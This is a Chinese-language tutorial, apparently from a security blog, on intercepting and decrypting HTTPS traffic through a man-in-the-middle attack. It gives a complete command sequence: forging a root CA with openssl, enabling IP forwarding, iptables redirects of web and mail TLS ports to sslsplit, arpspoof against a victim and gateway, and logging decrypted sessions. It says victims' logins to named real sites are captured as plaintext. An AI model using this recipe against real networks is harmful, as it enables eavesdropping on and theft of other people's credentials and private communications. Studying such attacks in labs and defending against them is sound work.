中間人劫持https加密流量,對其進行解密查看明文內容。
原理:終端發送流量經過路由轉發,流量被中間人劫持,直到中間人放回給服務器(中間人需具備與服務器端看起來差不多的條件)
攻擊者位於客戶端和服務器通信鏈路中進行的攻擊方式:
1、ARP欺騙:(把中間人的mac地址當作網關,從而讓流量流經中間人(僞造證書、解密加密信息等操作))——>欺騙終端設備,讓網關誤認爲是中間人,從而得到流量。
2、DHCP:(動態主機配置協議,自動分配ip地址)
#舉例:假使客戶端與攻擊者在同一網段下,攻擊者本地安裝DHCP服務,一旦離客戶端近,那麼先響應攻擊者的DHCP服務(從而分配網關、IP、DNS等),先響應向接納。
3、修改網關
4、修改DNS
5、修改HOSTS
#3、4、5方式不容易進行操作,當真正控制客戶端主機,方纔容易進行。
#類似:ICMP、STP、OSPF協議(主要是通過攻擊協議,讓終端流量都經過攻擊者電腦)
#加密流量:將劫持的流量解密查看信息,再加密發給目標
攻擊者發起攻擊的前提:
1、客戶端已經信任僞造證書頒發機構(服務器端的僞造根證書)
2、攻擊者控制了核發證書頒發機構
3、客戶端程序禁止了顯示證書錯誤告警信息(客戶端已完成)
##只要不出現給客戶端知曉的報錯信息,那麼客戶端很難發現被中間人了。除非清楚服務器的證書是什麼比對與服務器的公私鑰交換情況
4、攻擊者已經控制客戶端,並強制其信 任僞造證書
下面舉例說明攻擊流程,以例子說明中間人攻擊原理:
#利用工具:Kali(sslsplit)、主機;Kali作爲中間人攻擊者,主機作爲客戶端。
說明:SSLsplit
1、透明SSL/TLS中間人攻擊工具
2、對客戶端僞裝成服務器,對服務器僞裝成普通客戶端
3、僞裝服務器需要僞造證書
4、支持SSL/TLS加密的SMTP、POP3、FTP等通信中間人攻擊
下面進行具體操作:
利用openssl生成證書私鑰:
openssl genrsa -out ca.key 2048
利用私鑰簽名生成根證書
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
#對於真正使用中間人攻擊,配置方面儘量真實
這裏的ca.crt與ca.key分別爲:私鑰簽名生成根證書、證書私鑰
下面是具體內容以及設置證書時自己配置的相關的配置信息:
#在根證書裏面,存在的只是證書的公鑰,到中間人端的私鑰是我們自己生成的,也就是ca.key。
下面在kali上啓動路由,並配置好相關的轉發規則,轉發規則只列舉一些:
啓動路由:
sysctl -w net.ipv4.ip_forward=1
配置iprables端口轉發規則:
iptables -t nat -F(清空當前配置)
iptables -t nat -L(查看當前配置)
#先查看本地的443端口和80端口是否有開,有開結束掉,不讓被佔用。從而iptables會將流量引入到sslsplit端口,從而實現流量的解密。(本地又開的話,就會直接訪問本機web站點)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
#對將80端口收到的流量發送給8080端口,8080設置爲sslsplit從而解密到來的流量得到明文信息。
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
#對將443端口收到的流量發送給8443端口,8443設置爲sslsplit從而解密到來的流量得到信息。
再多舉一些:
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
#當所有配置完成後,再來查看當前配置是否成功:
iptables -t nat -L
即如:
當所有都配置完成後,下面將再Kali上進行ARP的欺騙配置:
首先需要將Kali網卡配好,將客戶端真實網關的mac地址配置爲中間人(Kali)的網卡的mac地址:
arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
(-t接目標IP,-r接目標網關)
然後需要創建保存客戶端流量的日誌文件的目錄,這裏以:test/logdir作爲例子,然後再開啓偵聽,讀取客戶端訪問通過SSL加密的網站流量信息。
啓動SSLsplot:
mkdir -p test/logdir
#配置的時候遇到問題,是tool的錯,所以建議自己手動新建。
偵聽:
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
(啓動8080與8443的偵聽)
#請求內容放在logdir內
#網關的真實mac是上面的,當開啓欺騙後,將會把網關mac變爲中間人的網卡mac地址。
啓動偵聽:
#當被害者訪問taobao、百度、mail.163.com(有些http做了登陸過程用SSL加密但非全站https也會有證書錯誤告警),即經過SSL加密後的流量都會被記錄下來,保存在logdir中,查看就能看到被解密出來的明文信息:
隨便打開一個,可能沒有信息,也不是經SSL加密的流量:
值得注意的是:
很多時候,中間人僞造的證書並不是特別精密的話,一般都會在瀏覽器上出現報錯信息,查看日誌和瀏覽器證書及證書報錯信息,但當安裝中間人生成的根證書之後再次訪問,便不會報錯。
#當中間人劫持到加密流量後,本應全部解密爲明文信息,可是有些登陸賬號中密碼仍爲密文,主要是:在登陸輸入密碼那裏會有一個控件,先對密碼做了加密機制,在經過流量轉發,所以儘管看到流量內內容,但密碼仍是加密狀態。
以上便是呈現中間人攻擊原理的最好解釋流程。